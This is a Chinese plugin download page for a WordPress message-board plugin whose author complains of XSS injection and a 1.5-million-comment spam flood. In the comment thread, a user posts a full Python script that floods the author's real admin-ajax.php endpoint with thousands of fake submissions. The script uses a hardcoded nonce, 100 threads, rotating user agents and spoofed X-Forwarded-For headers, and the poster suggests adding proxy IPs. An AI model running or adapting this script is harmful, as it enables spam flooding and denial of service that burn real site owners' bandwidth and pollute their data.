评分

升级xss防护- 初晨出品必是精品-免授权免费插件、留言板小工具

5天前更新

24420

功能强大的留言板插件，专为WordPress子比主题（Zibll Theme）设计。支持用户发布留言、回复留言、引用文章等功能，让您的网站互动更加丰富。

主要功能：

* 留言板功能，支持用户发布留言
* 文章引用功能，可以在留言中引用站内文章
* 回复功能，支持对留言进行回复
* 实时搜索文章，快速选择要引用的文章
* 后台管理界面，管理留言（审核、删除等）
* 批量操作，支持批量审核、删除留言
* 分页显示，支持大量留言的分页浏览
* 响应式设计，完美适配移动端
* 子比主题样式适配，与主题风格统一

展示地址：

【ccyuanma.com】初晨之家-本站致力于分享优质实用的互联网资源，内容包括有网站搭建、建站源码等

修改版本：

狗贼们，真离谱别拿我网站测试啊，我都是写的免费插件！都不会做防护。给我cdn流量都打没了。评论搞我150万多条，

最新版本加上xss防护了和 ai智能评论审核

下载地址：

此处内容已隐藏，请评论后刷新页面查看.

下载地址：

此处内容已隐藏，请评论后刷新页面查看.

评分

欢迎为Ta评分

赞赏

只看作者

最新最热

墨星博客moxingbk.com1
怎么你站xss都能注入成功
6天前山东回复

- 初晨-ccyuanma.com作者0
  我没有去交验我上哪想到你们还有这操作啊
  5天前河南@墨星博客moxingbk.com回复
- 初晨-ccyuanma.com作者0
  是在留言板注入的吗执行的代码么
  5天前河南@墨星博客moxingbk.com回复
- - 墨星博客moxingbk.com0
    那个什么回复右下角
    5天前山东@初晨-ccyuanma.com
- 星空知（www.xkzhi.com）0
  我没说自己写的啊，我只是玩玩
  5天前河南@墨星博客moxingbk.com回复
- - 墨星博客moxingbk.com0
    我没说你不是自己写的哇
    5天前山东@星空知（www.xkzhi.com）
- BM0
  AI写的凑合一下吧~哈哈
  6天前广东@墨星博客moxingbk.com回复

星空知（www.xkzhi.com）0
他这个请求，写个py可以直接玩
6天前河南@墨星博客moxingbk.com回复

- 墨星博客moxingbk.com0
  你发的这个自己看得懂吗，我说的xss注入，你发个测压脚本，请求头referer指向谷歌干啥？而且本地跑这个脚本严重消耗宽带。跟cc没区别。完全不需要把链接指向/wp-admin/admin-ajax.php
  5天前山东@星空知（www.xkzhi.com）

星空知（www.xkzhi.com）


import urllib.parse
import urllib.request
import threading
import time
from queue import Queue
import random
import ssl

ssl._create_default_https_context = ssl._create_unverified_context

class MultiThreadRequester:
    def __init__(self, url, max_workers=10, delay=0.1, max_retries=3):
        self.url = url
        self.max_workers = max_workers
        self.delay = delay
        self.max_retries = max_retries
        self.queue = Queue()
        self.lock = threading.Lock()
        self.results = []
        self.failed = []
        
        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0',
            'Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 OPR/106.0.0.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 OPR/105.0.0.0',
            'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1',
            'Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36',
            'Mozilla/5.0 (Linux; Android 13; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36',
        ]
        
        self.headers_pool = [
            {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'keep-alive',
                'Upgrade-Insecure-Requests': '1',
            },
            {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Accept-Encoding': 'gzip, deflate, br',
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
            },
            {
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-GB,en;q=0.9',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'keep-alive',
                'DNT': '1',
            }
        ]
    
    def get_random_user_agent(self):
        return random.choice(self.user_agents)
    
    def get_random_headers(self):
        headers = random.choice(self.headers_pool)
        headers['User-Agent'] = self.get_random_user_agent()
        
        if random.random() > 0.5:
            headers['Referer'] = 'https://www.google.com/'
        if random.random() > 0.7:
            headers['X-Forwarded-For'] = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
        
        return headers
    
    def create_params(self, request_id):
        random_str = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=6))
        random_num = random.randint(1000, 9999)
        
        return {
            'action': 'ccy_mb_submit_message',
            'nonce': '058e436ef9',
            'user_id': str(random.randint(0, 100)),
            'user_name': f"用户_{request_id}_{random_str}",
            'user_email': f'user{request_id}_{random_num}@example.com',
            'content': f'测试内容_{request_id}_{random_str}',
            'parent_id': '0',
            'post_id': '',
            'post_title': '',
            'post_url': ''
        }
    
    def send_single_request(self, params, retry_count=0):
        data = urllib.parse.urlencode(params).encode('utf-8')
        req = urllib.request.Request(self.url, data=data, method='POST')
        
        headers = self.get_random_headers()
        for key, value in headers.items():
            req.add_header(key, value)
        
        if random.random() > 0.8:
            req.add_header('Cookie', f'session_id={random.randint(1000000, 9999999)}')
        
        try:
            timeout = random.uniform(5, 15)
            with urllib.request.urlopen(req, timeout=timeout) as response:
                return response.status, response.read().decode('utf-8', errors='ignore')
        except Exception as e:
            if retry_count < self.max_retries:
                sleep_time = 2 ** retry_count + random.uniform(0, 1)
                time.sleep(sleep_time)
                return self.send_single_request(params, retry_count + 1)
            raise e
    
    def worker(self):
        while True:
            try:
                request_id = self.queue.get(timeout=3)
                if request_id is None:
                    break
                
                params = self.create_params(request_id)
                
                try:
                    status, response = self.send_single_request(params)
                    with self.lock:
                        self.results.append((request_id, status))
                        print(f"✓ 请求{request_id}: 成功 (状态码: {status})")
                
                except Exception as e:
                    with self.lock:
                        self.failed.append((request_id, str(e)))
                        print(f"✗ 请求{request_id}: 失败 ({e})")
                
                sleep_time = self.delay + random.uniform(-0.02, 0.02)
                if sleep_time < 0.01:
                    sleep_time = 0.01
                time.sleep(sleep_time)
                
                self.queue.task_done()
                
            except Queue.Empty:
                break
    
    def run(self, num_requests=50):
        
        start_time = time.time()
        
        for i in range(num_requests):
            self.queue.put(i)
        
        threads = []
        for i in range(self.max_workers):
            t = threading.Thread(target=self.worker, name=f"Worker-{i}")
            t.start()
            threads.append(t)
        
        self.show_progress(num_requests)
        
        self.queue.join()
        
        for _ in range(self.max_workers):
            self.queue.put(None)
        
        for t in threads:
            t.join()
        
        end_time = time.time()
        total_time = end_time - start_time

        
        return self.results, self.failed
    
    def show_progress(self, total):
        def progress_monitor():
            while True:
                completed = len(self.results) + len(self.failed)
                if completed >= total:
                    break
                percent = completed / total * 100
                print(f"\r进度: {completed}/{total} ({percent:.1f}%)", end="", flush=True)
                time.sleep(0.5)
            print("\r进度: 完成!                        ")
        
        monitor_thread = threading.Thread(target=progress_monitor, daemon=True)
        monitor_thread.start()
    
    def get_used_agents(self):
        return []

if __name__ == "__main__":
    url = "https://www.ccyuanma.com/wp-admin/admin-ajax.php"
    
    requester = MultiThreadRequester(
        url=url,
        max_workers=100,
        delay=0.002,
        max_retries=2
    )
    
    test_results, test_failed = requester.run(num_requests=50)
    
    if len(test_results) > 0:
        print("\n测试成功，开始正式请求...")
        results, failed = requester.run(num_requests=5000)
        
        if len(results) > 0 and input("\n是否继续发送50个请求? (y/n): ").lower() == 'y':
            requester2 = MultiThreadRequester(
                url=url,
                max_workers=3,
                delay=0.3,
                max_retries=2
            )
            results2, failed2 = requester2.run(num_requests=5000)
    else:
        print("测试失败，请检查网络或目标网站状态")

仅作为分享，在此基础上可以加上代理IP，建议作者改下

6天前河南@星空知（www.xkzhi.com）